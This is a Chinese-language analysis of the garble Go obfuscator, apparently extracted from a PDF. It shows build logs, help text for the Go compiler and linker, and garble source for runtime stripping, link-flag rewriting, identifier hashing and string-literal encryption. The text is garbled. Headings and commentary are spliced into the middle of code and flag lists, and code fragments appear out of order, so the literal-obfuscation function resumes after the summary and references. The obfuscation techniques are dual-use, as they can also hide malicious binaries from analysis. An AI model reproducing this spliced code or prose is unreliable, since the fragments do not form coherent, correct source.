-asmhdr $WORK\b005\go_asm.h -c=4 C:\Program
Files\Go\src\internal\reflectlite\swapper.go
C:\Program Files\Go\src\internal\reflectlite\type.go C:\Program
Files\Go\src\internal\reflectlite\value.go]
# internal/reflectlite
[wrapper] 2022/06/13 20:01:41 asm [-p internal/reflectlite -trimpath
$WORK\b005=> -I $WORK\b005\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -
D GOARCH_amd64 -o $W
ORK\b005\asm.o C:\Program Files\Go\src\internal\reflectlite\asm.s]
# errors
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b004\_pkg_.a -trimpath
$WORK\b004=> -p errors -std -complete -buildid 8qkRAv2W-yGE8lHzBLb7/8qkRAv2W-
yGE8lHzBLb7 -goversio
n go1.17.3 -importcfg $WORK\b004\importcfg -pack -c=4 C:\Program
Files\Go\src\errors\errors.go C:\Program Files\Go\src\errors\wrap.go]
# sort
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b027\_pkg_.a -trimpath
$WORK\b027=> -p sort -std -complete -buildid
10d2EmbC2keeehSQZmsQ/10d2EmbC2keeehSQZmsQ -goversion
go1.17.3 -importcfg $WORK\b027\importcfg -pack -c=4 C:\Program
Files\Go\src\sort\search.go C:\Program Files\Go\src\sort\slice.go C:\Program
Files\Go\src\sort\slice_go113
.go C:\Program Files\Go\src\sort\sort.go C:\Program
Files\Go\src\sort\zfuncversion.go]
# internal/oserror
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b030\_pkg_.a -trimpath
$WORK\b030=> -p internal/oserror -std -complete -buildid
doeRLTlGXCnF78ArtNRS/doeRLTlGXCnF78ArtNRS
-goversion go1.17.3 -importcfg $WORK\b030\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\oserror\errors.go]
# path
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b041\_pkg_.a -trimpath
$WORK\b041=> -p path -std -complete -buildid
viaPB0OecE_noGiNx52y/viaPB0OecE_noGiNx52y -goversion
go1.17.3 -importcfg $WORK\b041\importcfg -pack -c=4 C:\Program
Files\Go\src\path\match.go C:\Program Files\Go\src\path\path.go]
# io
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b028\_pkg_.a -trimpath
$WORK\b028=> -p io -std -complete -buildid V3GvNB-MA_e1btyFFaBP/V3GvNB-
MA_e1btyFFaBP -goversion go
1.17.3 -importcfg $WORK\b028\importcfg -pack -c=4 C:\Program
Files\Go\src\io\io.go C:\Program Files\Go\src\io\multi.go C:\Program
Files\Go\src\io\pipe.go]
# strconv
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b021\_pkg_.a -trimpath
$WORK\b021=> -p strconv -std -complete -buildid
vgwOiLPK_fLkkhS627ao/vgwOiLPK_fLkkhS627ao -goversi
on go1.17.3 -importcfg $WORK\b021\importcfg -pack -c=4 C:\Program
Files\Go\src\strconv\atob.go C:\Program Files\Go\src\strconv\atoc.go C:\Program
Files\Go\src\strconv\at
of.go C:\Program Files\Go\src\strconv\atoi.go C:\Program
Files\Go\src\strconv\bytealg.go C:\Program Files\Go\src\strconv\ctoa.go
C:\Program Files\Go\src\strconv\decimal.
go C:\Program Files\Go\src\strconv\doc.go C:\Program
Files\Go\src\strconv\eisel_lemire.go C:\Program Files\Go\src\strconv\ftoa.go
C:\Program Files\Go\src\strconv\ftoaryu
.go C:\Program Files\Go\src\strconv\isprint.go C:\Program
Files\Go\src\strconv\itoa.go C:\Program Files\Go\src\strconv\quote.go]
# bytes
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b043\_pkg_.a -trimpath
$WORK\b043=> -p bytes -std -buildid cEcZXbwgTxTUFNceap5t/cEcZXbwgTxTUFNceap5t -
goversion go1.17.3
-importcfg $WORK\b043\importcfg -pack -c=4 C:\Program
Files\Go\src\bytes\buffer.go C:\Program Files\Go\src\bytes\bytes.go C:\Program
Files\Go\src\bytes\reader.go]
# strings
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b046\_pkg_.a -trimpath
$WORK\b046=> -p strings -std -complete -buildid
CG8kVlSnDAtyf79Ve5bC/CG8kVlSnDAtyf79Ve5bC -goversi
on go1.17.3 -importcfg $WORK\b046\importcfg -pack -c=4 C:\Program
Files\Go\src\strings\builder.go C:\Program Files\Go\src\strings\compare.go
C:\Program Files\Go\src\stri
ngs\reader.go C:\Program Files\Go\src\strings\replace.go C:\Program
Files\Go\src\strings\search.go C:\Program Files\Go\src\strings\strings.go]
# syscall
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b034\_pkg_.a -trimpath
$WORK\b034=> -p syscall -std -buildid vPJkwnaOZgoLaFoXrmq5/vPJkwnaOZgoLaFoXrmq5
-goversion go1.17.
3 -importcfg $WORK\b034\importcfg -pack -c=4 C:\Program
Files\Go\src\syscall\dll_windows.go C:\Program
Files\Go\src\syscall\endian_little.go C:\Program Files\Go\src\sysc
all\env_windows.go C:\Program Files\Go\src\syscall\exec_windows.go C:\Program
Files\Go\src\syscall\msan0.go C:\Program Files\Go\src\syscall\net.go C:\Program
Files\Go\sr
c\syscall\security_windows.go C:\Program Files\Go\src\syscall\syscall.go
C:\Program Files\Go\src\syscall\syscall_windows.go C:\Program
Files\Go\src\syscall\time_nofake.g
o C:\Program Files\Go\src\syscall\types_windows.go C:\Program
Files\Go\src\syscall\types_windows_amd64.go C:\Program
Files\Go\src\syscall\zerrors_windows.go C:\Program F
iles\Go\src\syscall\zsyscall_windows.go]
# internal/syscall/windows/registry
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b037\_pkg_.a -trimpath
$WORK\b037=> -p internal/syscall/windows/registry -std -complete -buildid
bXRCZZwwehs3WtvhNVf_/bXR
CZZwwehs3WtvhNVf_ -goversion go1.17.3 -importcfg $WORK\b037\importcfg -pack -c=4
C:\Program Files\Go\src\internal\syscall\windows\registry\key.go C:\Program
Files\Go\src
\internal\syscall\windows\registry\syscall.go C:\Program
Files\Go\src\internal\syscall\windows\registry\value.go C:\Program
Files\Go\src\internal\syscall\windows\registr
y\zsyscall_windows.go]
# internal/syscall/windows
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b032\_pkg_.a -trimpath
$WORK\b032=> -p internal/syscall/windows -std -complete -buildid
kxDvebQuIq_WNf_qx9Wd/kxDvebQuIq_W
Nf_qx9Wd -goversion go1.17.3 -importcfg $WORK\b032\importcfg -pack -c=4
C:\Program Files\Go\src\internal\syscall\windows\psapi_windows.go C:\Program
Files\Go\src\interna
l\syscall\windows\reparse_windows.go C:\Program
Files\Go\src\internal\syscall\windows\security_windows.go C:\Program
Files\Go\src\internal\syscall\windows\symlink_window
s.go C:\Program Files\Go\src\internal\syscall\windows\syscall_windows.go
C:\Program Files\Go\src\internal\syscall\windows\zsyscall_windows.go]
# internal/syscall/execenv
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b038\_pkg_.a -trimpath
$WORK\b038=> -p internal/syscall/execenv -std -complete -buildid
_NnRExxVp_GV8qYSUS1S/_NnRExxVp_GV
8qYSUS1S -goversion go1.17.3 -importcfg $WORK\b038\importcfg -pack -c=4
C:\Program Files\Go\src\internal\syscall\execenv\execenv_windows.go]
# time
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b036\_pkg_.a -trimpath
$WORK\b036=> -p time -std -buildid nnZ2uK1ODDosEPpgK_hD/nnZ2uK1ODDosEPpgK_hD -
goversion go1.17.3 -
importcfg $WORK\b036\importcfg -pack -c=4 C:\Program Files\Go\src\time\format.go
C:\Program Files\Go\src\time\sleep.go C:\Program Files\Go\src\time\sys_windows.go
C:\Pro
gram Files\Go\src\time\tick.go C:\Program Files\Go\src\time\time.go C:\Program
Files\Go\src\time\zoneinfo.go C:\Program
Files\Go\src\time\zoneinfo_abbrs_windows.go C:\Pr
ogram Files\Go\src\time\zoneinfo_read.go C:\Program
Files\Go\src\time\zoneinfo_windows.go]
# reflect
[wrapper] 2022/06/13 20:01:41 asm [-p reflect -trimpath $WORK\b017=> -I
$WORK\b017\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-gensymabis -o $WORK\b017\symabis C:\Program Files\Go\src\reflect\asm_amd64.s]
# reflect
[wrapper] 2022/06/13 20:01:41 compile [-o $WORK\b017\_pkg_.a -trimpath
$WORK\b017=> -p reflect -std -buildid UqUbtR7OOKG_vbtUVLRU/UqUbtR7OOKG_vbtUVLRU
-goversion go1.17.
3 -symabis $WORK\b017\symabis -importcfg $WORK\b017\importcfg -pack -asmhdr
$WORK\b017\go_asm.h -c=4 C:\Program Files\Go\src\reflect\abi.go C:\Program
Files\Go\src\refle
ct\deepequal.go C:\Program Files\Go\src\reflect\makefunc.go C:\Program
Files\Go\src\reflect\swapper.go C:\Program Files\Go\src\reflect\type.go
C:\Program Files\Go\src\re
flect\value.go C:\Program Files\Go\src\reflect\visiblefields.go]
# reflect
[wrapper] 2022/06/13 20:01:42 asm [-p reflect -trimpath $WORK\b017=> -I
$WORK\b017\ -I C:\Program Files\Go\pkg\include -D GOOS_windows -D GOARCH_amd64 -
compiling-runtime
-o $WORK\b017\asm_amd64.o C:\Program Files\Go\src\reflect\asm_amd64.s]
# context
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b044\_pkg_.a -trimpath
$WORK\b044=> -p context -std -complete -buildid
RvslbgcThxTjq40SKrH-/RvslbgcThxTjq40SKrH- -goversi
on go1.17.3 -importcfg $WORK\b044\importcfg -pack -c=4 C:\Program
Files\Go\src\context\context.go]
# internal/fmtsort
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b016\_pkg_.a -trimpath
$WORK\b016=> -p internal/fmtsort -std -complete -buildid 37fWy08BCZ4uS--
bPHjs/37fWy08BCZ4uS--bPHjs
-goversion go1.17.3 -importcfg $WORK\b016\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\fmtsort\sort.go]
# io/fs
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b040\_pkg_.a -trimpath
$WORK\b040=> -p io/fs -std -complete -buildid UiD4-E9lV3Gz4b5uArcr/UiD4-
E9lV3Gz4b5uArcr -goversion
go1.17.3 -importcfg $WORK\b040\importcfg -pack -c=4 C:\Program
Files\Go\src\io\fs\fs.go C:\Program Files\Go\src\io\fs\glob.go C:\Program
Files\Go\src\io\fs\readdir.go C
:\Program Files\Go\src\io\fs\readfile.go C:\Program Files\Go\src\io\fs\stat.go
C:\Program Files\Go\src\io\fs\sub.go C:\Program Files\Go\src\io\fs\walk.go]
# internal/poll
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b031\_pkg_.a -trimpath
$WORK\b031=> -p internal/poll -std -buildid
IXpjsaEP6zsMlk19tV8P/IXpjsaEP6zsMlk19tV8P -goversion g
o1.17.3 -importcfg $WORK\b031\importcfg -pack -c=4 C:\Program
Files\Go\src\internal\poll\errno_windows.go C:\Program
Files\Go\src\internal\poll\fd.go C:\Program Files\Go
\src\internal\poll\fd_fsync_windows.go C:\Program
Files\Go\src\internal\poll\fd_mutex.go C:\Program
Files\Go\src\internal\poll\fd_poll_runtime.go C:\Program Files\Go\src
\internal\poll\fd_posix.go C:\Program Files\Go\src\internal\poll\fd_windows.go
C:\Program Files\Go\src\internal\poll\hook_windows.go C:\Program
Files\Go\src\internal\pol
l\sendfile_windows.go C:\Program Files\Go\src\internal\poll\sockopt.go C:\Program
Files\Go\src\internal\poll\sockopt_windows.go C:\Program
Files\Go\src\internal\poll\soc
koptip.go]
# os
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b029\_pkg_.a -trimpath
$WORK\b029=> -p os -std -buildid c7ud9UoTXZ8mxp4xTMg1/c7ud9UoTXZ8mxp4xTMg1 -
goversion go1.17.3 -im
portcfg $WORK\b029\importcfg -pack -c=4 C:\Program Files\Go\src\os\dir.go
C:\Program Files\Go\src\os\dir_windows.go C:\Program
Files\Go\src\os\endian_little.go C:\Progra
m Files\Go\src\os\env.go C:\Program Files\Go\src\os\error.go C:\Program
Files\Go\src\os\error_errno.go C:\Program Files\Go\src\os\error_posix.go
C:\Program Files\Go\src\
os\exec.go C:\Program Files\Go\src\os\exec_posix.go C:\Program
Files\Go\src\os\exec_windows.go C:\Program Files\Go\src\os\executable.go
C:\Program Files\Go\src\os\execut
able_windows.go C:\Program Files\Go\src\os\file.go C:\Program
Files\Go\src\os\file_posix.go C:\Program Files\Go\src\os\file_windows.go
C:\Program Files\Go\src\os\getwd.g
o C:\Program Files\Go\src\os\path.go C:\Program Files\Go\src\os\path_windows.go
C:\Program Files\Go\src\os\proc.go C:\Program Files\Go\src\os\rawconn.go
C:\Program Files
\Go\src\os\readfrom_stub.go C:\Program Files\Go\src\os\removeall_noat.go
C:\Program Files\Go\src\os\stat.go C:\Program Files\Go\src\os\stat_windows.go
C:\Program Files\G
o\src\os\sticky_notbsd.go C:\Program Files\Go\src\os\str.go C:\Program
Files\Go\src\os\sys.go C:\Program Files\Go\src\os\sys_windows.go C:\Program
Files\Go\src\os\tempfi
le.go C:\Program Files\Go\src\os\types.go C:\Program
Files\Go\src\os\types_windows.go]
# path/filepath
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b045\_pkg_.a -trimpath
$WORK\b045=> -p path/filepath -std -complete -buildid
B4jt8XXbtE0ya8z9wcqy/B4jt8XXbtE0ya8z9wcqy -g
接管go build 命令
transformFuncs
oversion go1.17.3 -importcfg $WORK\b045\importcfg -pack -c=4 C:\Program
Files\Go\src\path\filepath\match.go C:\Program Files\Go\src\path\filepath\path.go
C:\Program File
s\Go\src\path\filepath\path_windows.go C:\Program
Files\Go\src\path\filepath\symlink.go C:\Program
Files\Go\src\path\filepath\symlink_windows.go]
# fmt
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b003\_pkg_.a -trimpath
$WORK\b003=> -p fmt -std -complete -buildid Nf5pYdmuniAvPRg-
xnvX/Nf5pYdmuniAvPRg-xnvX -goversion g
o1.17.3 -importcfg $WORK\b003\importcfg -pack -c=4 C:\Program
Files\Go\src\fmt\doc.go C:\Program Files\Go\src\fmt\errors.go C:\Program
Files\Go\src\fmt\format.go C:\Prog
ram Files\Go\src\fmt\print.go C:\Program Files\Go\src\fmt\scan.go]
# os/exec
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b042\_pkg_.a -trimpath
$WORK\b042=> -p os/exec -std -complete -buildid 8GuqnQS-OOQeAU4kiiyV/8GuqnQS-
OOQeAU4kiiyV -goversi
on go1.17.3 -importcfg $WORK\b042\importcfg -pack -c=4 C:\Program
Files\Go\src\os\exec\exec.go C:\Program Files\Go\src\os\exec\exec_windows.go
C:\Program Files\Go\src\os
\exec\lp_windows.go]
# log
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b002\_pkg_.a -trimpath
$WORK\b002=> -p log -std -complete -buildid
yObk2BayHg7xaQqRCt9g/yObk2BayHg7xaQqRCt9g -goversion g
o1.17.3 -importcfg $WORK\b002\importcfg -pack -c=4 C:\Program
Files\Go\src\log\log.go]
# command-line-arguments
[wrapper] 2022/06/13 20:01:42 compile [-o $WORK\b001\_pkg_.a -trimpath
$WORK\b001=> -p main -lang=go1.17 -complete -buildid
8u9g0k5n8Iyp2P9Ad8Y0/8u9g0k5n8Iyp2P9Ad8Y0 -go
version go1.17.3 -D _/C_/Users/xqx/Downloads/garble-0.6.0/ddiy -importcfg
$WORK\b001\importcfg -pack -c=4 .\main.go $WORK\b001\_gomod_.go]
# command-line-arguments
[wrapper] 2022/06/13 20:01:43 link [-o $WORK\b001\exe\a.out.exe -importcfg
$WORK\b001\importcfg.link -buildmode=pie -
buildid=Sl758QsvYT6uz8zhhnCd/8u9g0k5n8Iyp2P9Ad8Y0/_N
3emNC9hZaNV9HjIGQA/Sl758QsvYT6uz8zhhnCd -extld=gcc $WORK\b001\_pkg_.a]
asm
汇编阶段接管临时的汇编代码,使用-p命令指定一个混淆的package,使用 trimpath 过滤garble自己的
目录,也会将汇编代码中的函数进行混淆。
compile
go tool compile 参数如下
xqx on ~
# go tool compile
usage: compile [options] file.go...
-% int
debug non-static initializers
-+ compiling runtime
-B disable bounds checking
-C disable printing of columns in error messages
-D path
set relative path for local imports
-E debug symbol export
-G accept generic code
-I directory
add directory to import search path
-K debug missing line numbers
-L show full file names in error messages
-N disable optimizations
-S print assembly listing
-V print version and exit
-W debug parse tree after type checking
-asmhdr file
write assembly header to file
-bench file
append benchmark times to file
-blockprofile file
write block profile to file
-buildid id
record id as the build id in the export metadata
-c int
concurrency during compilation (1 means no concurrency) (default 1)
-clobberdead
clobber dead stack slots (for debugging)
-clobberdeadreg
clobber dead registers (for debugging)
-complete
compiling complete package (no C or assembly)
-cpuprofile file
write cpu profile to file
-d value
enable debugging settings; try -d help
-dwarf
generate DWARF symbols (default true)
-dwarfbasentries
use base address selection entries in DWARF (default true)
-dwarflocationlists
add location lists to DWARF in optimized mode (default true)
-dynlink
support references to Go symbols defined in other shared libraries
-e no limit on number of errors reported
-embedcfg file
read go:embed configuration from file
-gendwarfinl int
generate DWARF inline info records (default 2)
-goversion string
required version of the runtime
-h halt on error
-importcfg file
read import configuration from file
-importmap definition
add definition of the form source=actual to import map
-installsuffix suffix
set pkg directory suffix
garble会在编译时插入参数
-j debug runtime-initialized variables
-json string
version,file for JSON compiler/optimizer detail output
-l disable inlining
-lang string
Go language version source code expects
-linkobj file
write linker-specific object to file
-linkshared
generate code that will be linked against Go shared libraries
-live
debug liveness analysis
-m print optimization decisions
-memprofile file
write memory profile to file
-msan
build code compatible with C/C++ memory sanitizer
-mutexprofile file
write mutex profile to file
-nolocalimports
reject local (relative) imports
-o file
write output to file
-p path
set expected package import path
-pack
write to file.a instead of file.o
-r debug generated wrappers
-race
enable race detector
-shared
generate code that can be linked into a shared library
-smallframes
reduce the size limit for stack allocated objects
-spectre list
enable spectre mitigations in list (all, index, ret)
-std
compiling standard library
-symabis file
read symbol ABIs from file
-t enable tracing for debugging the compiler
-traceprofile file
write an execution trace to file
-trimpath prefix
remove prefix from recorded source file paths
-v increase debug verbosity
-w debug type checking
-wb
enable write barrier (default true)
通过读取原命令行中的 -importcfg 的值实现替换
tiny参数,优化体积实现
通过接管获取到runtime的文件时,对其中的函数进行一些处理
flags = append(flags, "-dwarf=false") // -w
flags = alterTrimpath(flags) // --trimpath
newImportCfg, err := processImportCfg(flags) // 替换依赖的package信息
...
// 使用 -p 定义新的package
newPkgPath := ""
if curPkg.Name != "main" && curPkg.ToObfuscate {
newPkgPath = curPkg.obfuscatedImportPath()
flags = flagSetValue(flags, "-p", newPkgPath)
}
if curPkg.ImportPath == "runtime" && flagTiny {
// strip unneeded runtime code
stripRuntime(filename, file)
}
// stripRuntime removes unnecessary code from the runtime,
// such as panic and fatal error printing, and code that
// prints trace/debug info of the runtime.
func stripRuntime(filename string, file *ast.File) {
stripPrints := func(node ast.Node) bool {
call, ok := node.(*ast.CallExpr)
if !ok {
return true
}
id, ok := call.Fun.(*ast.Ident)
if !ok {
return true
}
switch id.Name {
case "print", "println":
id.Name = "hidePrint"
return false
default:
return true
}
}
for _, decl := range file.Decls {
switch x := decl.(type) {
case *ast.FuncDecl:
switch filename {
case "error.go":
// only used in panics
switch x.Name.Name {
case "printany", "printanycustomtype":
x.Body.List = nil
}
case "mgcscavenge.go":
// used in tracing the scavenger
if x.Name.Name == "printScavTrace" {
x.Body.List = nil
break
}
case "mprof.go":
// remove all functions that print debug/tracing info
// of the runtime
if strings.HasPrefix(x.Name.Name, "trace") {
x.Body.List = nil
}
case "panic.go":
// used for printing panics
switch x.Name.Name {
case "preprintpanics", "printpanics":
x.Body.List = nil
}
case "print.go":
// only used in tracebacks
if x.Name.Name == "hexdumpWords" {
x.Body.List = nil
break
}
case "proc.go":
// used in tracing the scheduler
if x.Name.Name == "schedtrace" {
x.Body.List = nil
break
}
case "runtime1.go":
usesEnv := func(node ast.Node) bool {
seen := false
ast.Inspect(node, func(node ast.Node) bool {
ident, ok := node.(*ast.Ident)
if ok && ident.Name == "gogetenv" {
seen = true
return false
}
return true
})
return seen
}
filenames:
switch x.Name.Name {
case "parsedebugvars":
// keep defaults for GODEBUG cgocheck and invalidptr,
// remove code that reads GODEBUG via gogetenv
for i, stmt := range x.Body.List {
if usesEnv(stmt) {
x.Body.List = x.Body.List[:i]
break filenames
}
}
panic("did not see any gogetenv call in parsedebugvars")
case "setTraceback":
// tracebacks are completely hidden, no
// sense keeping this function
x.Body.List = nil
}
case "traceback.go":
// only used for printing tracebacks
switch x.Name.Name {
case "tracebackdefers", "printcreatedby", "printcreatedby1",
"traceback", "tracebacktrap", "traceback1", "printAncestorTraceback",
"printAncestorTracebackFuncInfo", "goroutineheader",
"tracebackothers", "tracebackHexdump", "printCgoTraceback":
x.Body.List = nil
case "printOneCgoTraceback":
x.Body = ah.BlockStmt(ah.ReturnStmt(ah.IntLit(0)))
default:
if strings.HasPrefix(x.Name.Name, "print") {
x.Body.List = nil
}
}
default:
break
}
case *ast.GenDecl:
if x.Tok != token.IMPORT {
continue
}
switch filename {
case "print.go":
// was used in hexdumpWords
x.Specs = removeImport(`"runtime/internal/sys"`, x.Specs) // Before Go
1.18.
x.Specs = removeImport(`"internal/goarch"`, x.Specs) // Go 1.18.
case "traceback.go":
// was used in traceback1
x.Specs = removeImport(`"runtime/internal/atomic"`, x.Specs)
}
}
}
switch filename {
case "runtime1.go":
// On Go 1.17.x, the code above results in runtime1.go having an
// unused import. Make it an underscore import.
// If this is a recurring problem, we could go for a more
link
最后链接阶段,主要接管link中的一些参数进行处理,添加-X指定新的符号名,-w -s 去除debug信息,重
新选定依赖信息等等
// generic solution like x/tools/imports.
for _, imp := range file.Imports {
if imp.Path.Value == `"internal/bytealg"` {
imp.Name = &ast.Ident{Name: "_"}
break
}
}
case "print.go":
file.Decls = append(file.Decls, hidePrintDecl)
return
}
// replace all 'print' and 'println' statements in
// the runtime with an empty func, which will be
// optimized out by the compiler
ast.Inspect(file, stripPrints)
}
# go tool link
usage: link [options] main.o
-B note
add an ELF NT_GNU_BUILD_ID note when using ELF
-E entry
set entry symbol name
-H type
set header type
-I linker
use linker as ELF dynamic linker
-L directory
add specified directory to library path
-R quantum
set address rounding quantum (default -1)
-T address
set text segment address (default -1)
-V print version and exit
-X definition
add string value definition of the form importpath.name=value
-a no-op (deprecated)
-aslr
enable ASLR for buildmode=c-shared on windows (default true)
-benchmark string
set to 'mem' or 'cpu' to enable phase benchmarking
-benchmarkprofile base
emit phase profiles to base_phase.{cpu,mem}prof
-buildid id
record id as Go toolchain build id
-buildmode mode
set build mode
-c dump call graph
-compressdwarf
compress DWARF if possible (default true)
-cpuprofile file
Go 处理link的源码
write cpu profile to file
-d disable dynamic executable
-debugtextsize int
debug text section max size
-debugtramp int
debug trampolines
-dumpdep
dump symbol dependency graph
-extar string
archive program for buildmode=c-archive
-extld linker
use linker when linking in external mode
-extldflags flags
pass flags to external linker
-f ignore version mismatch
-g disable go package data checks
-h halt on error
-importcfg file
read import configuration from file
-installsuffix suffix
set package directory suffix
-k symbol
set field tracking symbol
-libgcc string
compiler support lib for internal linking; use "none" to disable
-linkmode mode
set link mode
-linkshared
link against installed Go shared libraries
-memprofile file
write memory profile to file
-memprofilerate rate
set runtime.MemProfileRate to rate
-msan
enable MSan interface
-n dump symbol table
-o file
write output to file
-pluginpath string
full path name for plugin
-r path
set the ELF dynamic linker search path to dir1:dir2:...
-race
enable race detector
-s disable symbol table
-strictdups int
sanity check duplicate symbol contents during object file reading
(1=warn 2=err).
-tmpdir directory
use directory for temporary files
-v print link trace
-w disable DWARF generation
func transformLink(args []string) ([]string, error) {
// We can't split by the ".a" extension, because cached object files
// lack any extension.
flags, args := splitFlagsFromArgs(args)
newImportCfg, err := processImportCfg(flags)
if err != nil {
return nil, err
}
// TODO: unify this logic with the -X handling when using -literals.
// We should be able to handle both cases via the syntax tree.
//
// Make sure -X works with obfuscated identifiers.
// To cover both obfuscated and non-obfuscated names,
// duplicate each flag with a obfuscated version.
flagValueIter(flags, "-X", func(val string) {
// val is in the form of "pkg.name=str"
i := strings.IndexByte(val, '=')
if i <= 0 {
return
}
name := val[:i]
str := val[i+1:]
j := strings.LastIndexByte(name, '.')
if j <= 0 {
return
}
pkg := name[:j]
name = name[j+1:]
// If the package path is "main", it's the current top-level
// package we are linking.
// Otherwise, find it in the cache.
lpkg := curPkg
if pkg != "main" {
lpkg = cache.ListedPackages[pkg]
}
if lpkg == nil {
// We couldn't find the package.
// Perhaps a typo, perhaps not part of the build.
// cmd/link ignores those, so we should too.
return
}
// As before, the main package must remain as "main".
newPkg := pkg
if pkg != "main" {
newPkg = lpkg.obfuscatedImportPath()
}
newName := hashWithPackage(lpkg, name)
flags = append(flags, fmt.Sprintf("-X=%s.%s=%s", newPkg, newName, str))
})
// Starting in Go 1.17, Go's version is implicitly injected by the linker.
// It's the same method as -X, so we can override it with an extra flag.
flags = append(flags, "-X=runtime.buildVersion=unknown")
// Ensure we strip the -buildid flag, to not leak any build IDs for the
// link operation or the main package's compilation.
flags = flagSetValue(flags, "-buildid", "")
其他
garble的混淆
混淆package,file,struct使用base64哈希,取前8位,碰撞的概率是0.00001%
// Strip debug information and symbol tables.
flags = append(flags, "-w", "-s")
flags = flagSetValue(flags, "-importcfg", newImportCfg)
return append(flags, args...), nil
}
func hashWithPackage(pkg *listedPackage, name string) string {
if !flagSeed.present() {
return hashWithCustomSalt(pkg.GarbleActionID, name)
}
// Use a separator at the end of ImportPath as a salt,
// to ensure that "pkgfoo.bar" and "pkg.foobar" don't both hash
// as the same string "pkgfoobar".
return hashWithCustomSalt([]byte(pkg.ImportPath+"|"), name)
}
func hashWithStruct(strct *types.Struct, fieldName string) string {
// TODO: We should probably strip field tags here.
// Do we need to do anything else to make a
// struct type "canonical"?
fieldsSalt := []byte(strct.String())
if !flagSeed.present() {
fieldsSalt = addGarbleToHash(fieldsSalt)
}
return hashWithCustomSalt(fieldsSalt, fieldName)
}
// hashWithCustomSalt returns a hashed version of name,
// including the provided salt as well as opts.Seed into the hash input.
//
// The result is always four bytes long. If the input was a valid identifier,
// the output remains equally exported or unexported. Note that this process is
// reproducible, but not reversible.
func hashWithCustomSalt(salt []byte, name string) string {
if len(salt) == 0 {
panic("hashWithCustomSalt: empty salt")
}
if name == "" {
panic("hashWithCustomSalt: empty name")
}
// hashLength is the number of base64 characters to use for the final
// hashed name.
// This needs to be long enough to realistically avoid hash collisions,
// but short enough to not bloat binary sizes.
// The namespace for collisions is generally a single package, since
// that's where most hashed names are namespaced to.
// Using a "hash collision" formula, and taking a generous estimate of a
// package having 10k names, we get the following probabilities.
// Most packages will have far fewer names, but some packages are huge,
// especially generated ones.
// We also have slightly fewer bits in practice, since the base64
// charset has 'z' twice, and the first base64 char is coerced into a
// valid Go identifier. So we must be conservative.
// Remember that base64 stores 6 bits per encoded byte.
// The probability numbers are approximated.
//
// length (base64) | length (bits) | collision probability
// -------------------------------------------------------
// 4 24 ~95%
// 5 30 ~4%
// 6 36 ~0.07%
// 7 42 ~0.001%
// 8 48 ~0.00001%
//
// We want collisions to be practically impossible, so we choose 8 to
// end up with a chance of about 1 in a million even when a package has
// thousands of obfuscated names.
const hashLength = 8
hasher.Reset()
hasher.Write(salt)
hasher.Write(flagSeed.bytes)
io.WriteString(hasher, name)
nameBase64.Encode(b64SumBuffer[:], hasher.Sum(sumBuffer[:0]))
b64Name := b64SumBuffer[:hashLength]
// Even if we are hashing a package path, we still want the result to be
// a valid identifier, since we'll use it as the package name too.
if isDigit(b64Name[0]) {
// Turn "3foo" into "Dfoo".
// Similar to toLower, since uppercase letters go after digits
// in the ASCII table.
b64Name[0] += 'A' - '0'
}
// Keep the result equally exported or not, if it was an identifier.
if !token.IsIdentifier(name) {
return string(b64Name)
}
if token.IsExported(name) {
if b64Name[0] == '_' {
// Turn "_foo" into "Zfoo".
b64Name[0] = 'Z'
} else if isLower(b64Name[0]) {
// Turn "afoo" into "Afoo".
b64Name[0] = toUpper(b64Name[0])
}
} else {
if isUpper(b64Name[0]) {
// Turn "Afoo" into "afoo".
b64Name[0] = toLower(b64Name[0])
}
}
return string(b64Name)
}
文本的混淆
literals.go
通过AST寻找到的文本的token会替换为一个函数CallExpr
支持的混淆算法类型,每个算法会返回一个抽象语法树的解密函数
在garble处理文本混淆时,这些算法是随机进行处理。
看一个简单的 `simple`
func randOperator() token.Token {
operatorTokens := [...]token.Token{token.XOR, token.ADD, token.SUB}
return operatorTokens[mathrand.Intn(len(operatorTokens))]
}
func evalOperator(t token.Token, x, y byte) byte {
switch t {
case token.XOR:
return x ^ y
case token.ADD:
return x + y
case token.SUB:
return x - y
default:
panic(fmt.Sprintf("unknown operator: %s", t))
}
}
func (simple) obfuscate(data []byte) *ast.BlockStmt {
// 随机生成key
key := make([]byte, len(data))
总结
garble会介入go编译的asm、compile、link阶段,不是修改go编译器,而是在正常调用go的编译器之
前,对参数进行修改,对go runtime、go代码进行一些修改,达到混淆的效果。
比较有亮点的是它能够修改go runtime,去除一些不必要的内容,能对抽象语法树中的文本混淆。
缺点是编译的时候,总有有一些go自带的东西残留,混淆不彻底,修改了原始代码,难保会影响程序的
正常运行。
参考
https://paper.seebug.org/1749/
https://www.anquanke.com/post/id/241594
genRandBytes(key)
op := randOperator() // 随机取一个操作符 + - *
for i, b := range key {
data[i] = evalOperator(op, data[i], b) // 操作符进行运算
}
// data是加密后的函数,key是key,传入下面的ast语法树即可
return ah.BlockStmt(
&ast.AssignStmt{
Lhs: []ast.Expr{ast.NewIdent("key")},
Tok: token.DEFINE,
Rhs: []ast.Expr{ah.DataToByteSlice(key)},
},
&ast.AssignStmt{
Lhs: []ast.Expr{ast.NewIdent("data")},
